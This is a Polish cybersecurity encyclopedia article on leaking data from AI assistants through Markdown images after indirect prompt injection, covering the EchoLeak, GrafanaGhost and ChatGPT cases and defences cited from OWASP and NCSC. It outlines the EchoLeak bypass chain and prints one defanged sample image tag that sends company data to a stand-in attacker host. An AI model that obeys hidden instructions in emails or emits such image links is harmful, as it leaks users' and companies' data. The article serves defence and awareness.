---
id: CP-284
slug: eksfiltracja-danych-markdown-asystent-ai
lang: pl
title: Wyciek danych przez obraz w asystencie AI
description: Ukryty tekst w e-mailu może skłonić asystenta AI do wyświetlenia obrazu przenoszącego Pana/Pani dane. Przypadki EchoLeak i GrafanaGhost, obrona.
canonical_url: https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai/
markdown_url: https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai.md
publisher: Brain (https://startbrain.io)
license: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/)
cite_as: Brain, „Wyciek danych przez obraz w asystencie AI”, Cyberpedia, 2026. https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai/ (CC BY 4.0)
wing: 4
theme: protect_data
reflex: air-025
schema: G1
updated: "2026-11-14"
translations:
  pl: https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai/
  fr: https://startbrain.io/cyberpedia/fr/articles/exfiltration-donnees-markdown-assistant-ia/
  en: https://startbrain.io/cyberpedia/en/articles/markdown-image-exfiltration-ai-assistant/
  de: https://startbrain.io/cyberpedia/de/articles/exfiltration-daten-markdown-ki-assistent/
  es: https://startbrain.io/cyberpedia/es/articles/exfiltracion-datos-markdown-asistente-ia/
  it: https://startbrain.io/cyberpedia/it/articles/esfiltrazione-dati-markdown-assistente-ia/
  nl: https://startbrain.io/cyberpedia/nl/articles/gegevensexfiltratie-markdown-ai-assistent/
  pt: https://startbrain.io/cyberpedia/pt/articles/exfiltracao-dados-markdown-assistente-ia/
  ja: https://startbrain.io/cyberpedia/ja/articles/markdown-image-exfiltration-ai-assistant/
sources:
  - "n": 1
    title: "EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System"
    publisher: arXiv
    url: https://arxiv.org/abs/2509.10540
    published: "2025-09-06"
    accessed: "2026-11-14"
  - "n": 2
    title: OWASP GenAI Exploit Round-up Report Q1 2026
    publisher: OWASP
    url: https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/
    published: "2026-04-14"
    accessed: "2026-11-14"
  - "n": 3
    title: LLM Prompt Injection Prevention Cheat Sheet
    publisher: OWASP
    url: https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html
    accessed: "2026-11-14"
  - "n": 4
    title: LLM02:2025 Sensitive Information Disclosure
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 5
    title: Prompt injection is not SQL injection (it may be worse)
    publisher: NCSC (Royaume-Uni)
    url: https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection
    published: "2025-12-08"
    accessed: "2026-11-14"
  - "n": 6
    title: LLM06:2025 Excessive Agency
    publisher: OWASP
    url: https://genai.owasp.org/llmrisk/llm062025-excessive-agency/
    published: "2024-04-10"
    accessed: "2026-11-14"
  - "n": 7
    title: Exfiltration of personal information from ChatGPT via prompt injection
    publisher: arXiv
    url: https://arxiv.org/abs/2406.00199
    published: "2024-05-31"
    accessed: "2026-11-14"
---

# Wyciek danych przez obraz w asystencie AI

W przypadku EchoLeak asystent AI wypuścił dane firmy bez kliknięcia przez kogokolwiek [1]. Ukryty tekst w e-mailu lub dokumencie przekazuje asystentowi instrukcje [3]. Asystent wyświetla wtedy obraz, którego adres zawiera dane [3], a obraz jest pobierany automatycznie [1].

Ten mechanizm opisują dwa przypadki. W EchoLeak, w Microsoft 365 Copilot, artykuł badaczy opisuje zdalną eksfiltrację danych, bez uwierzytelniania, za pomocą jednego spreparowanego e-maila, z wykorzystaniem automatycznie pobieranych obrazów [1]. W GrafanaGhost badacze ujawnili lukę, która mogła sprawić, że asystent Grafany wyświetlał obraz zewnętrzny, a ten przesyłał dane firmy atakującemu w parametrze adresu [2].

## W 30 sekund

- Gdzie to się zdarza: gdy asystent AI czyta treść, której nie napisał, na przykład e-mail, stronę internetową lub dokument [3].
- Czego chce atakujący: wyprowadzić dane firmy na serwer, który kontroluje [2].
- Odruch: podawać asystentowi tylko dane potrzebne do zadania, ponieważ informacja przekazana nieumyślnie może później pojawić się w jego odpowiedziach [4].

## Pytania wprost

### Czy trzeba kliknąć, żeby dane wyszły?

Nie w EchoLeak: opisany atak działa bez interakcji użytkownika [1]. W przypadku GrafanaGhost Grafana oświadczyła, że wykorzystanie luki wymagałoby istotnej interakcji użytkownika [2].

### Czym jest pośrednie wstrzyknięcie promptu?

Według NCSC (Wielka Brytania) jest to sytuacja, w której atakujący bez bezpośredniego dostępu do systemu AI pisze coś, co ostatecznie zostaje przetworzone przez system i wzięte za instrukcję [5]. OWASP zalicza do tej kategorii treść e-maili i załączników przetwarzanych przez asystentów AI, a także tekst ukryty na stronach internetowych, w dokumentach lub e-mailach [3].

### Dlaczego asystent słucha tekstu, którego nie widać?

Według NCSC (Wielka Brytania) obecne duże modele językowe nie stosują żadnej granicy bezpieczeństwa między instrukcjami a danymi wewnątrz promptu [5]. OWASP dodaje, że łańcuchy przetwarzania dokumentów często przekazują modelowi wyodrębniony tekst, nie uwzględniając sposobu wyświetlania, przez co tekst niewidoczny dla czytelnika i tak do niego dociera [3].

### Jakie dane mogą wyciec?

OWASP wymienia dane osobowe, informacje finansowe, dokumentację medyczną, poufne dane firmy, dane logowania i dokumenty prawne [4].

### Czy wystarczy filtr podejrzanych zdań?

Nie. Według OWASP filtrowanie danych wejściowych nie jest granicą bezpieczeństwa: atakujący może przeformułować instrukcję na wiele sposobów, których lista blokad nie rozpoznaje [3]. NCSC (Wielka Brytania) również przestrzega przed blokowaniem treści znanych jako złośliwe, ponieważ istnieje nieskończona liczba przeformułowań ataku [5].

### Czy to ryzyko może zniknąć?

NCSC (Wielka Brytania) uważa, że wstrzyknięcie promptu może nigdy nie zostać całkowicie złagodzone i że zespoły bezpieczeństwa muszą wiedzieć, że pozostanie ono ryzykiem szczątkowym, zarządzanym przez projektowanie, budowę i eksploatację [5].

### Co powinna ograniczyć firma?

OWASP wymienia trzy przyczyny nadmiernego zakresu działania asystenta: zbyt wiele funkcji, zbyt wiele uprawnień, zbyt dużą autonomię [6]. Każde narzędzie powinno otrzymywać tylko te dane i operacje, których potrzebuje [3].

## W skórze atakującego

Atakujący nie ma dostępu do asystenta. Pisze treść, którą asystent w końcu przeczyta: e-mail, dokument, stronę [5]. Ukrywa w niej instrukcje, na przykład tekstem w kolorze tła, malutkim, zasłoniętym lub umieszczonym poza stroną [3].

Jego celem jest uzyskanie danych firmy na serwerze, który kontroluje [2]. OWASP opisuje typowy scenariusz: osobisty asystent ma dostęp do skrzynki odbiorczej, by streszczać przychodzące e-maile. Spreparowany e-mail skłania go do przeszukania skrzynki w poszukiwaniu informacji wrażliwych i przekazania ich na adres atakującego [6]. W tym scenariuszu rozszerzenie wybrane przez programistę zawiera też funkcje wysyłania wiadomości, choć do streszczania wystarcza odczyt [6].

W EchoLeak badacze opisują łańcuch obejść: klasyfikator XPIA (Cross Prompt Injection Attempt) Microsoftu, maskowanie linków (obejście za pomocą składni Markdown zwanej reference-style), automatycznie ładowane obrazy oraz proxy Microsoft Teams dopuszczone przez politykę bezpieczeństwa treści [1].

## Co widać na ekranie

Spreparowanego tekstu nie widać: na tym polega jego zasada [3]. OWASP zwraca uwagę, że w jego mapach ryzyka użytkownicy zaufanej AI do obserwowalności mogli uruchomić wyciek nieświadomie [2].

Eksfiltracja odbywa się przez obraz. Przykładem OWASP jest ukryty znacznik obrazu, którego adres zawiera dane do kradzieży [3]. Oto zneutralizowana ilustracja tej zasady, która nie działa:

```text
Zneutralizowana ilustracja, niedziałająca.
[Tekst ukryty w e-mailu: polecenie nakazujace asystentowi wyswietlic obraz]
![image](hxxps://serveur-attaquant[.]invalid/image?donnees=[dane-firmy])
```

W przypadku GrafanaGhost złośliwy kontekst mógł skłonić asystenta do zignorowania jego barier ochronnych i wyświetlenia obrazu zewnętrznego, co przesyłało dane atakującemu jako parametr adresu [2].

## Pod maską

Mechanizm opiera się na trzech elementach.

- Obraz jest pobierany bez działania użytkownika: EchoLeak wykorzystywał automatycznie ładowane obrazy [1].
- Dane podróżują w adresie obrazu, jako parametr adresu [2].
- Wyświetlenie odpowiedzi asystenta staje się kanałem wyjścia: OWASP klasyfikuje GrafanaGhost między innymi w kategorii niewłaściwej obsługi danych wyjściowych modelu (LLM05:2025) [2].

Obrona oczekiwana od firmy dotyczy tych trzech punktów.

- Filtrować to, co asystent wyświetla. W przypadku GrafanaGhost OWASP zaleca oczyszczanie kontekstu zewnętrznego, ograniczenie renderowania wychodzącego i wzmocnienie walidacji adresów [2]. Lista kontrolna OWASP wymaga też oczyszczania HTML i Markdown przy wyświetlaniu [3]. Model pełniący rolę bariery ochronnej może zbadać odpowiedź przed jej wyświetleniem, także po to, by wykryć znaczniki eksfiltracji, ale sam jest modelem i może podlegać wstrzyknięciu promptu [3].
- Ograniczać uprawnienia asystenta. Autorzy badania EchoLeak wyciągają jako wniosek zasadę najmniejszych uprawnień, obronę wielowarstwową i ciągłe testy adwersarialne [1]. OWASP podaje przykłady: nie dawać agentowi rozszerzenia pobierającego zawartość adresu internetowego, jeśli system tego nie potrzebuje, i ograniczyć rozszerzenie poczty do odczytu [6]. OWASP zaleca zatwierdzanie przez człowieka działań o dużym wpływie [6].
- Rozdzielać według pochodzenia. NCSC (Wielka Brytania) przywołuje prostą regułę: gdy model przetwarza informacje pochodzące od jednej strony, jego uprawnienia spadają do uprawnień tej strony. Asystent przetwarzający e-maile od osób z zewnątrz nie może więc mieć dostępu do uprzywilejowanych narzędzi [5].

NCSC (Wielka Brytania) zauważa, że żaden produkt nie wystarcza do wyeliminowania wstrzyknięcia promptu i że najlepsze, na co można liczyć, to zmniejszenie jego prawdopodobieństwa lub skutków [5]. Według NCSC (Wielka Brytania) zabezpieczenia na poziomie projektu powinny w większym stopniu zmierzać ku deterministycznym barierom ochronnym, działającym poza modelem, które ograniczają działania systemu [5]. OWASP zaleca testowanie tych granic z użyciem danych fikcyjnych i zastępczych narzędzi z instrumentacją [3].

Dla pracownika OWASP wskazuje, że użytkownicy powinni rozumieć ryzyko nieumyślnego podawania danych wrażliwych, które mogą potem pojawić się w danych wyjściowych modelu [4]. Zaleca przekazywanie wskazówek, jak unikać wpisywania informacji wrażliwych [4], oraz przyznawanie dostępu tylko do danych potrzebnych danemu użytkownikowi lub procesowi [4].

## Analizy incydentów

### EchoLeak w Microsoft 365 Copilot, badanie z września 2025

EchoLeak nosi identyfikator CVE-2025-32711. Badacze opisują go jako wstrzyknięcie promptu bez kliknięcia w Microsoft 365 Copilot, które umożliwiało zdalną eksfiltrację danych bez uwierzytelniania za pomocą jednego spreparowanego e-maila [1]. Artykuł, zamieszczony w arXiv 6 września 2025, został opublikowany w AAAI Fall Symposium Series 2025 [1].

Opisany łańcuch łączy obejście klasyfikatora XPIA, składnię Markdown reference-style, automatycznie ładowane obrazy i proxy Teams dopuszczone przez politykę bezpieczeństwa treści [1]. Autorzy proponują jako środki podział promptów na partycje, wzmocnione filtrowanie danych wejściowych i wyjściowych, kontrolę dostępu opartą na pochodzeniu oraz ścisłe polityki bezpieczeństwa treści [1].

### GrafanaGhost, kwiecień 2026

OWASP datuje ujawnienie na 7 kwietnia 2026, a potwierdzenie poprawki na 8 kwietnia [2]. Noma Security znalazła słabość w komponentach AI Grafany, która pozwalała wskazać systemowi zasoby zewnętrzne zawierające ukryte instrukcje [2]. Asystent mógł wtedy wyświetlić obraz zewnętrzny, co przesyłało dane firmy atakującemu jako parametr adresu [2].

Grafana wskazała następnie, że problem z renderowaniem obrazów Markdown został szybko naprawiony i że wykorzystanie luki wymagałoby istotnej interakcji użytkownika [2]. OWASP precyzuje, że nie przyznano publicznego CVE i że zastosowano częściową poprawkę w komponencie renderowania [2]. Jest to ujawnienie badawcze [2].

### ChatGPT i dane osobowe, maj 2024

W artykule zamieszczonym 31 maja 2024 jego autor podaje, że ChatGPT 4 i 4o były podatne na wstrzyknięcie promptu, które pozwalało atakującemu dokonać eksfiltracji danych osobowych użytkowników [7]. Według niego atak działał bez narzędzi firm trzecich, a dotyczył wtedy wszystkich użytkowników [7]. Funkcja pamięci ChatGPT pogłębiała lukę, ponieważ pozwalała atakującemu doprowadzić do monitorowania użytkownika, aby uzyskać pożądane dane [7].

## Źródła

1. arXiv, „EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System”, 6 września 2025. https://arxiv.org/abs/2509.10540 (dostęp 14 listopada 2026)
2. OWASP, „OWASP GenAI Exploit Round-up Report Q1 2026”, 14 kwietnia 2026. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (dostęp 14 listopada 2026)
3. OWASP, „LLM Prompt Injection Prevention Cheat Sheet”. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (dostęp 14 listopada 2026)
4. OWASP, „LLM02:2025 Sensitive Information Disclosure”, 10 kwietnia 2024. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (dostęp 14 listopada 2026)
5. NCSC (Royaume-Uni), „Prompt injection is not SQL injection (it may be worse)”, 8 grudnia 2025. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (dostęp 14 listopada 2026)
6. OWASP, „LLM06:2025 Excessive Agency”, 10 kwietnia 2024. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (dostęp 14 listopada 2026)
7. arXiv, „Exfiltration of personal information from ChatGPT via prompt injection”, 31 maja 2024. https://arxiv.org/abs/2406.00199 (dostęp 14 listopada 2026)

---

Źródło oryginalne: Cyberpedia, publiczna encyklopedia cyberbezpieczeństwa i AI wydawana przez Brain. Wersja kanoniczna: https://startbrain.io/cyberpedia/pl/articles/eksfiltracja-danych-markdown-asystent-ai/
Możesz swobodnie wykorzystywać ten tekst na licencji CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), pod warunkiem podania „Brain, Cyberpedia” wraz z odnośnikiem do powyższego adresu.
